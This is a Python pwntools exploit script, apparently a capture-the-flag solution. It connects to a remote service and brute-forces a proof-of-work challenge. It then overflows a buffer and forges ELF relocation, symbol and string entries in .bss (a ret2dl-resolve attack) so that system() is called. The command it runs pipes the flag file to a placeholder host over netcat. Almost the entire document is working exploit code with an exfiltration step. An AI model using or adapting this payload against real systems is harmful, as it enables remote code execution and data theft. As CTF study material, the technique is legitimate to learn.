#!/usr/bin/env python

from pwn import *
import random, string, subprocess, os, sys
from hashlib import sha256

p = remote('202.120.7.202', 6666)

chal = p.recvuntil('\n').strip()

print 'Challenge: ' + chal

for sol in xrange(pow(2, 32)):
    if sha256(chal + p32(sol)).digest().startswith('\0\0\0'):
        p.send(p32(sol))
        print 'Solution: ' + hex(sol)
        break

readplt = 0x8048300
vuln = 0x804843b
garbage = 'A' * 0x28 + 'BBBB'
bss = 0x0804a020

PLT = 0x080482f0

alarm_got_plt = 0x0804a010

rel_plt = 0x080482b0
rel_plt_entry = bss
rel_plt_entry_index = rel_plt_entry - rel_plt

dynsym = 0x080481cc
dynsym_entry = bss + 0xc
dynsym_entry_index = (dynsym_entry - dynsym) / 16

dynstr = 0x0804822c
dynstr_entry = dynsym_entry + 16
dynstr_entry_offset = dynstr_entry - dynstr
dynstr_entry_value = 'system\0'

binsh_addr = dynstr_entry + len(dynstr_entry_value)
binsh = 'cat flag | /bin/nc xxx.xxx.xxx.xxx 10000\0'

p.send(garbage + p32(readplt) + p32(vuln) + p32(0) + p32(bss) + p32(8 + 4 + 16 + len(dynstr_entry_value) + len(binsh)))

# create fake Elf_Rel entry (.rel.plt) in the beginning of .bss
payload  = p32(alarm_got_plt) + p32(dynsym_entry_index << 8 | 0x7)

# empty
payload += p32(0)

# create Elf_Sym entry (.dynsym) in bss after Elf_Rel entry
payload += p32(dynstr_entry_offset) + p32(0) * 3

# create .dynstr entry in bss after Elf_Sym entry
payload += dynstr_entry_value

# write /bin/sh to bss after .dynstr entry
payload += binsh

p.send(payload)

# jump to PLT to resolve the system using the fake rel_plt_entry_index in the stack
# system then read /bin/sh from stack
p.send(garbage + p32(PLT) + p32(rel_plt_entry_index) + p32(0) + p32(binsh_addr))

p.send('ls ;' * 1000)

p.interactive()

